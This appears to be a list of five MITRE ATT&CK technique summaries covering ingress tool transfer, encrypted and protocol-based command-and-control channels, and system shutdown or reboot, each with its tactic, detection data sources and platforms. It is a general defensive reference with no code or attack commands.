Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre